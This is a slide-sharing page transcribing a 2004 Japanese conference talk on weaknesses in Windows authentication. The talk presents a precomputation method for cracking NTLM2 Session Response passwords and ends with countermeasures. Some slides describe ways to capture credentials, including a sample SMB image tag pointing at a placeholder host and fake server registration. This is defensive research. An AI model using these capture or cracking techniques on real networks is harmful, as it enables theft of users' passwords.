52
Optimized Attack for NTLM2 Session Response Daiji Sanai & Hidenobu Seki SecurityFriday.Com 2004.10.15

Optimized Attack for NTLM2 Session Response

  • Upload
    jarah

  • View
    51

  • Download
    1

Embed Size (px)

DESCRIPTION

Optimized Attack for NTLM2 Session Response. Daiji Sanai & Hidenobu Seki SecurityFriday.Com 2004.10.15. ReadMe. 注意事項. ◆ 本日のポイント. Windows 認証は本当に弱いか Windows 認証を正しく理解する Windows の認証方式 ハッシュの脆弱性 ネットワーク認証の脆弱性 NTLM2 Session Response 高速パスワード解析手法. ◆ Windows 認証は弱い!. え?誰が言ったの? あなたの会社は - PowerPoint PPT Presentation

Citation preview

Page 1: Optimized Attack for  NTLM2 Session Response

Optimized Attack for NTLM2 Session Response

Daiji Sanai & Hidenobu SekiSecurityFriday.Com

2004.10.15

Page 2: Optimized Attack for  NTLM2 Session Response

ReadMe

• 注意事項

Page 3: Optimized Attack for  NTLM2 Session Response

◆ 本日のポイント

• Windows 認証は本当に弱いか• Windows 認証を正しく理解する

– Windows の認証方式– ハッシュの脆弱性– ネットワーク認証の脆弱性– NTLM2 Session Response

• 高速パスワード解析手法

Page 4: Optimized Attack for  NTLM2 Session Response

◆ Windows 認証は弱い!

• え?誰が言ったの?

• あなたの会社は– POP3 、 FTP 、 HTTP 、 TELNET .....

• Windows 認証に関しては、専門家も知らない誤解や誤情報が多い!

Page 5: Optimized Attack for  NTLM2 Session Response

認証パスワードを盗めるか?

• “ 認証から”......重要!

• 認証パスワードとは– サーバーが記憶しているパスワード– クライアントが記憶しているパスワード– ネットワーク上を飛ぶ認証パスワード

Page 6: Optimized Attack for  NTLM2 Session Response

パスワードの盗み方(余談)

• パスワードの在処– 脳みそ、メモ帳、パソコンのアプリ、ポストイッ

ト• テクニカルである必要はない

– 聞く– 盗み見– ソーシャルエンジニアリング– ゴミ漁り– キーロガー

 本日は、テーマ外!

Page 7: Optimized Attack for  NTLM2 Session Response

認証パスワードの在処

Windows が記憶する認証パスワードはどこ?

• ローカルアカウント– SAM (Security Account Manager)

• ドメインアカウント– Active Directory

Page 8: Optimized Attack for  NTLM2 Session Response

◆ 記憶されるパスワードの形

• Windows 9x/Me– パスワードによるデータの暗号化

( RC4 )– PWL ファイル

• Windows NT/2000/XP/2003– LM ハッシュ、 NTLM ハッシュ

Page 9: Optimized Attack for  NTLM2 Session Response

LM ハッシュ

• パスワードを鍵とした固定値の DES 暗号化• パスワードは 14 文字まで• 7 文字毎に別々に暗号化• 英大文字小文字の区別なし• 英数字記号パスワード総数: 7 兆 5 千億弱

Page 10: Optimized Attack for  NTLM2 Session Response

NTLM ハッシュ

• パスワードを MD4 でハッシュ化• パスワードは 127 文字まで有効• 英大文字小文字を区別• 7 文字ごとの分割なし• 総数 ∞≒

Page 11: Optimized Attack for  NTLM2 Session Response

◆ ネット上を飛ぶパスワードの形

• LM 認証• NTLMv1 認証• NTLMv2 認証• NTLM2 Session Response• Windows Kerberos

Page 12: Optimized Attack for  NTLM2 Session Response

認証データ

LM 認証方式

大文字化(パスワード)

DES

LM ハッシュ (16byte)

サーバー クライアント

ネゴシエーション

(A)チャレンジキー生成

(A)8 byteチャレンジ

DES

8byte 8byte8byte

KGS!@#$%

Page 13: Optimized Attack for  NTLM2 Session Response

LM レスポンス

• LM ハッシュ– 英数字記号パスワード総数: 7 兆 5 千億弱

• パスワードが 7 文字以下か 8 文字以上か瞬時に判明

• プレコンピューティング辞書攻撃が可能– チャレンジを固定したサーバー

Page 14: Optimized Attack for  NTLM2 Session Response

認証データ

NTLMv1 認証方式

unicode( パスワード )

MD4

NTLM ハッシュ (16byte)

サーバー

ネゴシエーション

(A)チャレンジキー生成

(A)8 byteチャレンジ

DES

8byte 8byte8byte

クライアント

Page 15: Optimized Attack for  NTLM2 Session Response

NTLMv1 レスポンス

• NTLM ハッシュ• プレコンピューティング辞書攻撃が可能

– チャレンジを固定したサーバー• 懸案事項

– DES の鍵空間はそんなに大きくない  256 = 約7 京個

Page 16: Optimized Attack for  NTLM2 Session Response

認証データ

NTLMv2 認証方式

NTLM ハッシュ

サーバー クライアント

ネゴシエーション

チャレンジキー生成(B) 8byte

(A) (B)チャレンジキー生成

(A)8 byteチャレンジ

HMAC-MD5

(B)16byte

HMAC-MD5ユーザー名 + ドメイン名

Page 17: Optimized Attack for  NTLM2 Session Response

NTLMv2 レスポンス

• NTLM ハッシュ• DES は使用せず• クライアントチャレンジがある

– プレコンピューティング辞書攻撃不可• 暗号処理にドメイン / ワークグループ名が含ま

れる– ドメイン / ワークグループの指定が必須で使いにく

い• ほとんど使われていない

Page 18: Optimized Attack for  NTLM2 Session Response

認証データ

Windows Kerberos 認証方式

NTLM ハッシュ

サーバー

チャレンジキー生成(A)16 byte

HMAC-MD5

(A) 36byte

HMAC-MD51

日付などのデータ RC4

クライアント

Page 19: Optimized Attack for  NTLM2 Session Response

Windows Kerberos

• NTLM ハッシュ• DES は使用せず• クライアントチャレンジがある

– プレコンピューティング辞書攻撃不可• 盗聴攻撃は可能• ユーザー(または管理者)が使用を強制でき

ない– 故意に条件を変えて、回避できる

Page 20: Optimized Attack for  NTLM2 Session Response

Windows 認証比較LM NTLMv1 NTLM2

session response

NTLMv2 Windows Kerberos

Password case sensitive

No Yes Yes Yes Yes

Hash algorithm

DES (ECB mode)

MD4 MD4 MD4 MD4

Hash value length

64bit + 64bit

128bit 128bit 128bit 128bit

Client challenge

No No Yes Yes Yes

Response key length

56bit + 56bit + 16bit

56bit + 56bit + 16bit

56bit + 56bit + 16bit

128bit 128bit

Response algorithm

DES (ECB mode)

DES (ECB mode)

DES (ECB mode)

HMAC_MD5 HMAC_MD5 & RC4

Response value length

64bit + 64bit + 64bit

64bit + 64bit + 64bit

64bit + 64bit + 64bit

128bit 36byte

Page 21: Optimized Attack for  NTLM2 Session Response

OS 別ハッシュ & レスポンスパスワードハッシュ

LM NTLMv1

NTLM2 session response

NTLMv2Windows Kerberos

9x/Me 特殊 ◎ ○

NT4.0LM/NTLM

◎ ◎ ○

2000LM/NTLM

◎ ~ SP2○

◎ ~ SP2○

○◎SP3 ~ ○ △

XPLM/NTLM

○ ○ ◎ ○ △

2003LM/NTLM

○ ○ ◎ ○ △

Page 22: Optimized Attack for  NTLM2 Session Response

◆ Windows 認証の脆弱性

• ハッシュの脆弱性• ネットワーク認証の脆弱性

• よく知られる脆弱性– 7文字暗号化問題( LM ハッシュ、 LM 認証)– 下位互換性( LM ハッシュ、 LM 認証)– レインボーテーブル( LM ハッシュ、 NTLM ハ

ッシュ)

違う!

何に対する脆弱性なのかを正しく理解する

Page 23: Optimized Attack for  NTLM2 Session Response

◆ ハッシュの脆弱性

• レインボーテーブルによる超高速解析

• ハッシュが抜かれるということは、手遅れ– 監査手法としては有効か

Page 24: Optimized Attack for  NTLM2 Session Response

Rainbow Table

• パスワードハッシュ解析用計算手法• 特に Windows のハッシュに最適• 既知の、パスワードとハッシュ値の組による

プリコンピューティング– 超高速化– データベースの低容量化

• チャレンジを使う LM/NTLM 認証には適応不可

Page 25: Optimized Attack for  NTLM2 Session Response

Rainbow Table の効果

• RainbowCrack の例– LM ハッシュ– パスワード総数: 806 億(英数字) /7 兆 5 千億

(記号も)– プレコンピューティング 5日 / 2年– ディスク容量  3GB/119GB– 解析時間  20 秒以内( + ディスクアクセス 2 分

半) /13 分以内( + ディスクアクセス 1

時間半)

Page 26: Optimized Attack for  NTLM2 Session Response

◆ ネットワーク認証の脆弱性

• 社内ユーザは、ネットワーク認証データの取得が容易

• 認証パケットの漏洩を防ぐことは困難

強い認証が必須

Page 27: Optimized Attack for  NTLM2 Session Response

ネットワーク認証の解析ツール

• 良く知られるもの– ScoopLM/BeatLM– Cain– LC (L0pht Crack)

Page 28: Optimized Attack for  NTLM2 Session Response

LM 認証へのブルートフォース攻撃

• 2ヶ月以内に完全解読可能– 通常の総当たり– 英数字記号パスワード総数: 7 兆 5 千億弱

• LM 認証は弱く危険!

LM 認証を使ってはいけない

Page 29: Optimized Attack for  NTLM2 Session Response

Rainbow のネットワーク認証適用

• LM/NTLM 認証には適用できないと言われるが

• BugTraq で公表( 2004/9/14:Urity )– サーバチャレンジを強制固定する– NTLMv1 も、 Rainbow の対象になる

• クライアントチャレンジへの適用は不可– NTLMv2 認証– NTLM2 session response

Page 30: Optimized Attack for  NTLM2 Session Response

◆ NTLM2 session response

• 密かに変わっていた認証方式– Windows 2000 に実装– Windows 2000 SRP1 からデフォルト使用

• SRP1 は SP3 以降に含まれている– Windows XP/2003 ではデフォルト使用

• あまり知られていないが現在はデフォルト• 見た目が NTLMv1 と同じ

Page 31: Optimized Attack for  NTLM2 Session Response

NTLM2 session response

• Eric Glass氏が 2003年 7月に解読• プレコンピューティングへの対策

– Eric Glass氏によれば、プレコンピューティング辞書攻撃不可

• 正確な名称さえ不明– 専門家の間では( Eric Glass氏による命名)

NTLM2 session response

Page 32: Optimized Attack for  NTLM2 Session Response

認証データ

旧 NTLMv1 認証方式

NTLM ハッシュ

サーバー クライアント

ネゴシエーション

チャレンジキー生成(A)8 byte (A)

チャレンジ

DES

8byte 8byte8byte

Page 33: Optimized Attack for  NTLM2 Session Response

認証データ

新 NTLM2 S.R. 認証方式

NTLM ハッシュ

サーバー クライアント

ネゴシエーション

チャレンジキー生成(B)8 byte

(A) (B)チャレンジキー生成

(A)8 byteチャレンジ

MD5

( D )

(B)

DES

8byte 8byte8byte

( D )(C)

Page 34: Optimized Attack for  NTLM2 Session Response

使われる条件

• NTLM2 session security 使用時に登場– LMCompatibilityLevel レジストリとは不一致

• ネゴシエーション成立時のみ– 対 2000 サーバー Gold は対応

• サーバ側はデフォルト使用ではなくても、実装されていれば使用する

– 対 NT サーバーは利用できない• ユーザーが使用を強制できない

Page 35: Optimized Attack for  NTLM2 Session Response

本当に強いのか?

• クライアントチャレンジの導入– Rainbow Table で攻撃できない

• 既知のクラックツールが使えない– Cain が対応→クラックスピードが遅い

• 効率の良いクラッキング手段はないのか• 本当に安全なのか!

Page 36: Optimized Attack for  NTLM2 Session Response

◆ NTLM2 S.R. の高速解析手法

Page 37: Optimized Attack for  NTLM2 Session Response

注目の2バイト

パスワード

MD4

NTLM ハッシュ (16byte)

(A) (B)

MD5

( D )(C)DES

(B) 8byte 8byte8byte

認証データ

7byte 7byte 2byteここに着目

8byte

Page 38: Optimized Attack for  NTLM2 Session Response

注目の2バイト(2)

パスワード

MD4

NTLM ハッシュ (16byte)

(A) (B)

MD5

( D )(C)DES

(B) 8byte 8byte8byte

認証データ

7byte 7byte 2byte65536通り

あらかじめ 65536通りにグループ化されたワード DB を作成しておくことで、 65536倍の速さでクラッキングが可能になる

あらかじめ 65536通りにグループ化されたワード DB を作成しておくことで、 65536倍の速さでクラッキングが可能になる

Page 39: Optimized Attack for  NTLM2 Session Response

プレコンピューティングパスワード

AAAAAAABBBBBBBCCCCCCCDDDDDDDEEEEEEEEFFFFFFFF・・・・

NTLMハッシュ

を計算

65536通り

下2バイトで分類

00000001

00020003

0004

FFFE FFFF

Page 40: Optimized Attack for  NTLM2 Session Response

(A) (B)8byte

パケットより取得

8byte 8byte

チャレンジ

2 バイトの DES 鍵でブルートフォース攻撃

MD5

( D )(C)DES

0000 0000000000 FFFF 0000000000~

65536通り

ABCD 0000000000

判明した鍵グループ

一致 照合

約 0.1秒

Page 41: Optimized Attack for  NTLM2 Session Response

パスワード DB の特定

65536通り

00000001

0002

ABCD

FFFEFFFF

xxxxxxxxxxxxxxxxxxxxxxxxxxxxABCD

この中にパスワードがある

この中にパスワードがある

判明した鍵グループ( NTLM ハッシュ)

Page 42: Optimized Attack for  NTLM2 Session Response

解析時間と DB サイズ解析時間( Pentium 4

2.5GHz ) パスワード数 DB サイズCain 本方式

24 時間 2秒 735 億 180GB

7 日 8秒 5141 億 1.3TB

14 日 14秒 1 兆 282 億 2.5TB

30 日 30秒 2 兆 2032 億 5.6TB

3ヶ月 1 分半 6 兆 6096 億 17TB

6ヶ月 3 分 13 兆 2192 億 34TB

1年 6 分 26 兆 8056 億 68TB

Page 43: Optimized Attack for  NTLM2 Session Response

ブルートフォースパスワード空間

• 英小文字 8 文字まで 2171 億• 英(大小)数記号 6 文字まで 7430 億• 英(大小)数 7 文字まで 3 兆 6 千億• 英(大小) 8 文字まで 54 兆• 英(大小)数記号 7 文字まで 71 兆• 英(大小)数 8 文字まで 222 兆

Page 44: Optimized Attack for  NTLM2 Session Response

プレコンピューティングの限界

• 全パスワード対応は、不可能

• パスワード推測アルゴリズムによる最適化• 3ヶ月程度の強度までは、現実的な範囲• 強いパスワードには影響がない• 充分に強いパスワードの使用が必須

Page 45: Optimized Attack for  NTLM2 Session Response

◆ 認証パケットの取得の実際

• スイッチングハブ環境で、どうするか– スイッチも完璧ではない

• 簡単に送出される認証パケット– ダミーサーバー登録– ネットクロール– ウエブブラウズによる認証送出

Page 46: Optimized Attack for  NTLM2 Session Response

ダミーサーバー登録攻撃 

• コンピュータ一覧をフェイクする• マスタブラウザへの偽登録は簡単• ドメインマスタブラウザでも可能

• 偽サーバーをマスタブラウザに登録• クリックしやすい名前で登録• ユーザーがクリックするのを待つ

Page 47: Optimized Attack for  NTLM2 Session Response

ネットクロール

• 共有フォルダ/プリンタの検索機能– マイネットワークをクリック時– マスタブラウザからコンピュータリスト取得– 全コンピュータの共有フォルダをチェック– このとき、認証パケットを送出

• Me, XP, 2003もデフォルト有効

Microsoft KB256248,276322,320138

Page 48: Optimized Attack for  NTLM2 Session Response

ネットクロールその2

• Windows XP SP2 でも動作– Windows ファイアウォールに無関係– ファイルとプリンタ共有例外に無関係

• ドメイン所属パソコンでは動作しない

Page 49: Optimized Attack for  NTLM2 Session Response

ウエブブラウズによる認証送出

• 7 年経っても改善されない問題• 悪意のあるウエブサーバー

– SMB 画像埋め込みで、認証取得可能– <img src=file://\\www.xxx.yyy\zzz>– インターネットでも取得可– NT サーバーを装えば、 LM 認証も飛ぶ

Page 50: Optimized Attack for  NTLM2 Session Response

新たな問題

• ワード文書表示で、インターネットへ認証を送出– WebClient service in Windows XP

• 悪意のあるウエブサーバーで認証を取得可能– IIS+.doc

• 2004.9.3  発見– 2004.9.6  マイクロソフトに報告– マイクロソフトでは、重大な問題ではないと判断– 2004.9.27   NTBugTraq で公表

Page 51: Optimized Attack for  NTLM2 Session Response

◆  対 策

• ハッシュを抜かれるな!• ネットワーク認証は、盗まれるのが前提• LM 認証は使わない• 充分に強いパスワードを使う

– 推定強度 6ヶ月以上が必須– 13 兆番目以降のパスワード(笑)

Page 52: Optimized Attack for  NTLM2 Session Response

最後に

これだけは、意識して欲しい• LM ハッシュと LM 認証は違う!• NTLM ハッシュと NTLM系認証は違う!

よって• ハッシュの脆弱性と認証の脆弱性は違